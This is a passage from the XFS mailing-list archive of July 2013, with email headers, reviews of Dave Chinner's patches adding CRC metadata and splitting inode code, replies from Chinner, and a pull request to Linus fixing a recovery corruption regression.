(relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2091E7F37 for ; Thu, 25 Jul 2013 15:27:10 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0CB47304071; Thu, 25 Jul 2013 13:27:06 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id C0C0D4266DC; Thu, 25 Jul 2013 15:27:06 -0500 (CDT) Date: Thu, 25 Jul 2013 15:27:06 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 16/48] xfs: split remote attribute code out Message-ID: <20130725202706.GD3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-17-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1370564771-4929-17-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jun 07, 2013 at 10:25:39AM +1000, Dave Chinner wrote: > From: Dave Chinner > > Adding CRC support to remote attributes adds a significant amount of > remote attribute specific code. Split the existing remote attribute > code out into it's own file so that all the relevant remote > attribute code is in a single, easy to find place. > > Signed-off-by: Dave Chinner Corresponds to commit 95920cd6ce1 > diff --git a/include/xfs_attr_remote.h b/include/xfs_attr_remote.h > new file mode 100644 > index 0000000..b4be90e > --- /dev/null > +++ b/include/xfs_attr_remote.h > @@ -0,0 +1,31 @@ > +/* > + * Copyright (c) 2013 Red Hat, Inc. > + * > + * This program is free software; you can redistribute it and/or modify it > + * under the terms of version 2.1 of the GNU Lesser General Public License > + * as published by the Free Software Foundation. > + * > + * This program is distributed in the hope that it would be useful, but > + * WITHOUT ANY WARRANTY; without even the implied warranty of > + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. > + * > + * Further, this software is distributed without any warranty that it is > + * free of the rightful claim of any third person regarding infringement > + * or the like. Any license provided herein, whether implied or > + * otherwise, applies only to this software file. Patent licenses, if > + * any, provided herein do not apply to combinations of this program with > + * other software, or any other product whatsoever. > + * > + * You should have received a copy of the GNU Lesser General Public > + * License along with this program; if not, write the Free Software > + * Foundation, Inc., 59 Temple Place - Suite 330, Boston MA 02111-1307, > + * USA. > + */ This gpl header is different than the one in the kernel. Probably fixed later in the series. Looks good. Reviewed-by: Ben Myers From bpm@sgi.com Thu Jul 25 15:34:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D0BA37F37 for ; Thu, 25 Jul 2013 15:34:55 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id AB9BE304071; Thu, 25 Jul 2013 13:34:55 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 133824266DC; Thu, 25 Jul 2013 15:34:55 -0500 (CDT) Date: Thu, 25 Jul 2013 15:34:55 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 17/48] xfs: add CRC protection to remote attributes Message-ID: <20130725203454.GE3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-18-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1370564771-4929-18-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jun 07, 2013 at 10:25:40AM +1000, Dave Chinner wrote: > From: Dave Chinner > > There are two ways of doing this - the first is to add a CRC to the > remote attribute entry in the attribute block. The second is to > treat them similar to the remote symlink, where each fragment has > it's own header and identifies fragment location in the attribute. > > The problem with the CRC in the remote attr entry is that we cannot > identify the owner of the metadata from the metadata blocks > themselves, or where the blocks fit into the remote attribute. The > down side to this approach is that we never know when the attribute > has been read from disk or not and so we have to verify it every > time it is read, and we must calculate it during the create > transaction and log it. We do not log CRCs for any other metadata, > and so this creates a unique set of coherency problems that, in > general, are best avoided. > > Adding an identifying header to each allocated block allows us to > identify each fragment and where in the attribute it is located. It > enables us to rebuild the remote attribute from just the raw blocks > containing the attribute. It also provides us to do per-block CRCs > verification at IO time rather than during the transaction context > that creates it or every time it is read into a user buffer. Hence > it avoids all the problems that an external, logged CRC has, and > provides all the benefits of self identifying metadata. > > The only complexity is that we have to add a header per fragment, > and we don't know how many fragments will be needed prior to > allocations. If we take the symlink example, the header is 56 bytes > and hence for a 4k block size filesystem, in the worst case 16 > headers requires 1 extra block for the 64k attribute data. For 512 > byte filesystems the worst case is an extra block for every 9 > fragments (i.e. 16 extra blocks in the worse case). This will be > very rare and so it's not really a major concern. > > Because allocation is done in two steps - the first finds a hole > large enough in the attribute file, the second does the allocation - > we only need to find a hole big enough for a worst case allocation. > We only need to allocate enough extra blocks for number of headers > required by the fragments, and we can calculate that as we go.... > > Hence it really only makes sense to use the same model as for > symlinks - it doesn't add that much complexity, does not require an > attribute tree format change, and does not require logging > calculated CRC values. > > Signed-off-by: Dave Chinner Corresponds to commit d2e448d5fde I see the rework of the remote attribute code later in the series... Reviewed-by: Ben Myers From tinguely@sgi.com Thu Jul 25 15:40:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3DCF17F3F for ; Thu, 25 Jul 2013 15:40:38 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 20C2E8F8039; Thu, 25 Jul 2013 13:40:35 -0700 (PDT) Message-ID: <51F18D42.7000503@sgi.com> Date: Thu, 25 Jul 2013 15:40:34 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 12/49] xfs: move inode fork definitions to a new header file References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-13-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-13-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:24, Dave Chinner wrote: > From: Dave Chinner > > The inode fork definitions are a combination of on-disk format > definition and in-memory tracking and manipulation. They are both > shared with userspace, so move them all into their own file so > sharing is easy to do and track. This removes all inode fork > related information from xfs_inode.h. > > Do the same for the all the C code that currently resides in > xfs_inode.c for the same reason. > > Signed-off-by: Dave Chinner > --- summary: Mostly a move of routines/structures from xfs_inode.c/h to xfs_inode_fork.c/h. xfs_validate_extents() is no longer a STATIC, as expected. xfs_iformat() is renamed xfs_iformat_fork(). function declarations in xfs_inode_fork.h have the typedef converted to structs. Looks good. Reviewed-by: Mark Tinguely From bpm@sgi.com Thu Jul 25 15:54:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C8D937F53 for ; Thu, 25 Jul 2013 15:54:42 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 51154AC005; Thu, 25 Jul 2013 13:54:42 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 02D444266DC; Thu, 25 Jul 2013 15:54:41 -0500 (CDT) Date: Thu, 25 Jul 2013 15:54:41 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 18/48] xfs: add buffer types to directory and attribute buffers Message-ID: <20130725205441.GF3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-19-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1370564771-4929-19-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jun 07, 2013 at 10:25:41AM +1000, Dave Chinner wrote: > From: Dave Chinner > > Add buffer types to the buffer log items so that log recovery can > validate the buffers and calculate CRCs correctly after the buffers > are recovered. > > Signed-off-by: Dave Chinner Corresponds to commit d75afeb3d3020. > diff --git a/libxfs/xfs.h b/libxfs/xfs.h > index c69dc4a..6bec18e 100644 > --- a/libxfs/xfs.h > +++ b/libxfs/xfs.h > @@ -255,6 +255,7 @@ roundup_pow_of_two(uint v) > #define xfs_trans_agflist_delta(tp, d) > #define xfs_trans_agbtree_delta(tp, d) > #define xfs_trans_buf_set_type(tp, bp, t) > +#define xfs_trans_buf_copy_type(dbp, sbp) Looks like he's not called but needs to be defined to compile. > diff --git a/libxfs/xfs_dir2_leaf.c b/libxfs/xfs_dir2_leaf.c > index f00b23c..3d1ec23 100644 > --- a/libxfs/xfs_dir2_leaf.c > +++ b/libxfs/xfs_dir2_leaf.c There is probably a change later in the series that makes xfs_dir3_leaf1_buf_ops not static. > @@ -232,7 +239,8 @@ xfs_dir3_free_get_buf( > if (error) > return error; > > - bp->b_ops = &xfs_dir3_free_buf_ops;; Oh good. Got rid of the extra ; Reviewed-by: Ben Myers From bpm@sgi.com Thu Jul 25 16:08:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B57A77F54 for ; Thu, 25 Jul 2013 16:08:53 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id A27A73040BD; Thu, 25 Jul 2013 14:08:50 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 6B8924266DC; Thu, 25 Jul 2013 16:08:50 -0500 (CDT) Date: Thu, 25 Jul 2013 16:08:50 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 19/48] xfs: buffer type overruns blf_flags field Message-ID: <20130725210850.GG3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-20-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1370564771-4929-20-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jun 07, 2013 at 10:25:42AM +1000, Dave Chinner wrote: > From: Dave Chinner > > The buffer type passed to log recvoery in the buffer log item > overruns the blf_flags field. I had assumed that flags field was a > 32 bit value, and it turns out it is a unisgned short. Therefore > having 19 flags doesn't really work. > > Convert the buffer type field to numeric value, and use the top 5 > bits of the flags field for it. We currently have 17 types of > buffers, so using 5 bits gives us plenty of room for expansion in > future.... > > Signed-off-by: Dave Chinner This corresponds to commit 61fe135c1dde1. Looks good. Reviewed-by: Ben Myers From bpm@sgi.com Thu Jul 25 16:23:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5D3777F56 for ; Thu, 25 Jul 2013 16:23:30 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1AAC58F804B; Thu, 25 Jul 2013 14:23:27 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id D02C84266DC; Thu, 25 Jul 2013 16:23:26 -0500 (CDT) To: torvalds@linux-foundation.org Subject: [GIT PULL] XFS fix for 3.11-rc3 Cc: akpm@linux-foundation.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com Message-Id: <20130725212326.D02C84266DC@whiskey.americas.sgi.com> Date: Thu, 25 Jul 2013 16:23:26 -0500 (CDT) From: bpm@sgi.com (Ben Myers) Hi Linus, Please pull this fix for XFS in 3.11-rc3. This resolves a regression introduced in the 3.11-rc1 merge window with commit cca9f93a52d2 which results in recovery corrupting filesystems after crashes. Thanks, Ben The following changes since commit ad81f0545ef01ea651886dddac4bef6cec930092: Linux 3.11-rc1 (2013-07-14 15:18:27 -0700) are available in the git repository at: git://oss.sgi.com/xfs/xfs.git tags/for-linus-v3.11-rc3 for you to fetch changes up to e1b4271ac261b290fdab51446996fb13e68a57be: xfs: di_flushiter considered harmful (2013-07-25 10:41:42 -0500) ---------------------------------------------------------------- xfs: fix for 3.11-rc3 - fix for regression in commit cca9f93a52d2, recovery causing filesystem corruption after a crash ---------------------------------------------------------------- Dave Chinner (1): xfs: di_flushiter considered harmful fs/xfs/xfs_dinode.h | 3 +++ fs/xfs/xfs_inode.c | 31 ++++++++++++++++++++++--------- fs/xfs/xfs_log_recover.c | 13 +++++++++++-- 3 files changed, 36 insertions(+), 11 deletions(-) From bpm@sgi.com Thu Jul 25 16:48:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D619F7F59 for ; Thu, 25 Jul 2013 16:48:46 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4D9FBAC001; Thu, 25 Jul 2013 14:48:43 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id EE6D34266DC; Thu, 25 Jul 2013 16:48:42 -0500 (CDT) Date: Thu, 25 Jul 2013 16:48:42 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 20/48] xfs: add CRC checks to the superblock Message-ID: <20130725214842.GH3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-21-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1370564771-4929-21-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jun 07, 2013 at 10:25:43AM +1000, Dave Chinner wrote: > From: Dave Chinner > > With the addition of CRCs, there is such a wide and varied change to > the on disk format that it makes sense to bump the superblock > version number rather than try to use feature bits for all the new > functionality. > > This commit introduces all the new superblock fields needed for all > the new functionality: feature masks similar to ext4, separate > project quota inodes, a LSN field for recovery and the CRC field. > > This commit does not bump the superblock version number, however. > That will be done as a separate commit at the end of the series > after all the new functionality is present so we switch it all on in > one commit. This means that we can slowly introduce the changes > without them being active and hence maintain bisectability of the > tree. > > This patch is based on a patch originally written by myself back > from SGI days, which was subsequently modified by Christoph Hellwig. > There is relatively little of that patch remaining, but the history > of the patch still should be acknowledged here. > > Signed-off-by: Dave Chinner corresponds to commit 04a1e6c5b222b Looks good. Reviewed-by: Ben Myers From bpm@sgi.com Thu Jul 25 17:08:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D33047F5D for ; Thu, 25 Jul 2013 17:08:17 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6F9F5AC001; Thu, 25 Jul 2013 15:08:14 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 166964266DC; Thu, 25 Jul 2013 17:08:14 -0500 (CDT) Date: Thu, 25 Jul 2013 17:08:14 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 21/48] xfs: implement extended feature masks Message-ID: <20130725220814.GI3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-22-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1370564771-4929-22-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jun 07, 2013 at 10:25:44AM +1000, Dave Chinner wrote: > From: Dave Chinner > > The version 5 superblock has extended feature masks for compatible, > incompatible and read-only compatible feature sets. Implement the > masking and mount-time checking for these feature masks. > > Signed-off-by: Dave Chinner corresponds to commit e721f504cf46a > @@ -214,12 +242,6 @@ xfs_mount_validate_sb( > return XFS_ERROR(ENOSYS); > } > > - > - if (check_inprogress && sbp->sb_inprogress) { > - xfs_warn(mp, "Offline file system operation in progress!"); > - return XFS_ERROR(EFSCORRUPTED); > - } > - Why did this need to be removed? Other than that this looks fine. Reviewed-by: Ben Myers From david@fromorbit.com Thu Jul 25 19:19:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 13F277F37 for ; Thu, 25 Jul 2013 19:19:28 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 057098F8033 for ; Thu, 25 Jul 2013 17:19:24 -0700 (PDT) X-ASG-Debug-ID: 1374797962-04cbb02c3b8dd30001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id ILnbP8uhhxBZFCAe for ; Thu, 25 Jul 2013 17:19:23 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhoHAAvA8VF5LPxH/2dsb2JhbABagwaDKLYHhTqBExd0giQBAQUnExwjEAgDDgcDCSUPBSUDIROID7kVFo9nB4QAA5dekU6DJio Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail06.adl2.internode.on.net with ESMTP; 26 Jul 2013 09:49:22 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V2Vkb-0005pI-Sf; Fri, 26 Jul 2013 10:19:17 +1000 Date: Fri, 26 Jul 2013 10:19:17 +1000 From: Dave Chinner To: Ben Myers Cc: xfs@oss.sgi.com Subject: Re: [PATCH 21/48] xfs: implement extended feature masks Message-ID: <20130726001917.GI13468@dastard> X-ASG-Orig-Subj: Re: [PATCH 21/48] xfs: implement extended feature masks References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-22-git-send-email-david@fromorbit.com> <20130725220814.GI3111@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130725220814.GI3111@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1374797962 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137311 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jul 25, 2013 at 05:08:14PM -0500, Ben Myers wrote: > On Fri, Jun 07, 2013 at 10:25:44AM +1000, Dave Chinner wrote: > > From: Dave Chinner > > > > The version 5 superblock has extended feature masks for compatible, > > incompatible and read-only compatible feature sets. Implement the > > masking and mount-time checking for these feature masks. > > > > Signed-off-by: Dave Chinner > > corresponds to commit e721f504cf46a > > > @@ -214,12 +242,6 @@ xfs_mount_validate_sb( > > return XFS_ERROR(ENOSYS); > > } > > > > - > > - if (check_inprogress && sbp->sb_inprogress) { > > - xfs_warn(mp, "Offline file system operation in progress!"); > > - return XFS_ERROR(EFSCORRUPTED); > > - } > > - > > Why did this need to be removed? Think about it for a minute - it's not valid in userspace. i.e. it's a kernel-side check to determine if userspace is modifying the filesystem at the current time. e.g. mkfs.xfs sets it in the primary superblock to prevent the kernel mounting the filesystem before mkfs completes. If we leave it in the userspace code, then mkfs will abort when it rereads the superblock from disk because it's detected that mkfs is running.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Jul 25 19:25:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AB7567F37 for ; Thu, 25 Jul 2013 19:25:02 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8E0CD304043 for ; Thu, 25 Jul 2013 17:24:59 -0700 (PDT) X-ASG-Debug-ID: 1374798297-04bdf02f20944b0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id w23NCX1HrR8XEvM7 for ; Thu, 25 Jul 2013 17:24:58 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhkHAPvA8VF5LPxH/2dsb2JhbABagwaDKLYHhTqBExd0giQBAQU6HCMQCAMVAwklDwUlAyETiA+5FRaPZweEAAOXXoojhyuDJio Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail06.adl2.internode.on.net with ESMTP; 26 Jul 2013 09:54:57 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V2Vpy-0005q1-5Q; Fri, 26 Jul 2013 10:24:50 +1000 Date: Fri, 26 Jul 2013 10:24:50 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH 14/49] xfs: introduce xfs_inode_buf.c for inode buffer operations Message-ID: <20130726002450.GJ13468@dastard> X-ASG-Orig-Subj: Re: [PATCH 14/49] xfs: introduce xfs_inode_buf.c for inode buffer operations References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-15-git-send-email-david@fromorbit.com> <51F179BE.4040506@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51F179BE.4040506@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1374798297 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137311 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jul 25, 2013 at 02:17:18PM -0500, Mark Tinguely wrote: > On 07/19/13 01:24, Dave Chinner wrote: > >From: Dave Chinner > > > >The only thing remaining in xfs_inode.[ch] are the operations that > >read, write or verify physical inodes in their underlying buffers. > >Move all this code to xfs_inode_buf.[ch] and so we can stop sharing > >xfs_inode.[ch] with userspace. > > > >Signed-off-by: Dave Chinner > >--- > > Bug patches committed in the last couple days make this patch no > longer current. Right, which is why I've had to rebase it (yet again). The changes are minor, though, and shouldn't prevent review of this version of the patch. I haven't reposted the new series yet, because I'm waiting on reviews for the current series to be done and I don't want to have to continually rebase and repost the series. There is a risk that every time I do a rebase that I screw something up, so I want to minimise the number of rebases I have to do. This is yet another reason why I'd like to see this code reviewed quickly and committed because I've already rebased it several times and it's not fun. Repeated rebasing simply because review of slow is a waste of everyone's time... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Jul 25 19:32:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1EC837F37 for ; Thu, 25 Jul 2013 19:32:27 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A0C6AAC006 for ; Thu, 25 Jul 2013 17:32:23 -0700 (PDT) X-ASG-Debug-ID: 1374798741-04cb6c2e9c8d9c0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id iwbmlm8XJY1kus3e for ; Thu, 25 Jul 2013 17:32:22 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhkHAGTC8VF5LPxH/2dsb2JhbABagwaDKLYHhTqBExd0giQBAQU6HCMQCAMYCSUPBSUDIROID7kXFo5CgSUHhAADl16RToMmKg Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail06.adl2.internode.on.net with ESMTP; 26 Jul 2013 10:02:21 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V2Vx2-0005qj-4q; Fri, 26 Jul 2013 10:32:08 +1000 Date: Fri, 26 Jul 2013 10:32:08 +1000 From: Dave Chinner To: Mark Tinguely Cc: "Michael L. Semon" , xfs@oss.sgi.com Subject: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion Message-ID: <20130726003208.GK13468@dastard> X-ASG-Orig-Subj: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-45-git-send-email-david@fromorbit.com> <51EEF26F.5040001@sgi.com> <51EEF949.9020104@gmail.com> <51EFD68A.40400@sgi.com> <20130725002108.GA11222@dastard> <51F13E10.1010805@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51F13E10.1010805@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1374798741 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137311 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jul 25, 2013 at 10:02:40AM -0500, Mark Tinguely wrote: > On 07/24/13 